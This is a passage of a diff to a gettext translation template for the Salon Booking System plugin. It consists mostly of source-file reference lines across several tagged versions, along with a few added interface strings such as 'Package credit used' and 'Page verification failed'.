build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:934, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:954, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1004, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1017, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:540, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:562, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:592, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:227, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:248, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:277, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:227, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:240, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:261, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:374, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:395, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:420, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:363, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:380, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:405, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:947, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:967, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1017, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1030, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:494, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:516, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:546, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:604, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:686, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:722, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:246, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:267, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:296, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:235, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:253, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:281, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:225, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:238, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:259, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:328, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:349, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:374, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:324, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:341, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:366, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:934, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:954, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1004, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1017, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:501, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:523, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:553, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:248, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:277, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:240, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:373, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:394, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:419, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:363, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:380, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:405, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:947, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:967, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1017, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1030, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:494, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:516, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:546, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:604, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:686, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:722, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:246, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:267, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:296, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:235, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:253, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:281, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:238, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:259, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:328, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:349, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:374, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:342, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:367, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:934, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:954, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1004, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1017, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:540, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:562, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:592, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:248, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:277, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:240, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:374, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:395, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:420, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:363, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:380, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:405, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:947, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:967, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1017, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1030, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:494, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:516, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:546, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:604, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:686, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:722, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:246, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:267, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:296, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:235, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:253, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:281, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:238, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:259, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:328, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:349, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:374, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:342, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:367, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:934, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:954, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1004, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1017, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:540, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:562, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:592, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:248, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:277, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:240, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:374, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:395, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:420, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:363, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:380, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:405, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:947, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:967, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1017, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1030, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:494, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:516, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:546, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:604, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:686, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:722, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:246, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:267, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:296, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:235, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:253, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:281, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:225, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:238, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:259, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:328, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:349, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:374\n-msgid \"Sorry, resource not found.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:161\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:164\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:162\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:161\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:164\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:162\n+msgid \"Package credit used\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:29\n+msgid \"Page verification failed\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:446, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1154, src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:328, src\u002FSLB_API\u002FController\u002FServices_Controller.php:496, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:484, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1223, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:347, src\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:306, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:450, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:446, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1154, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:328, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:496, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:484, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1223, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:347, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:306, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:450, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:446, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1154, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:328, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:496, 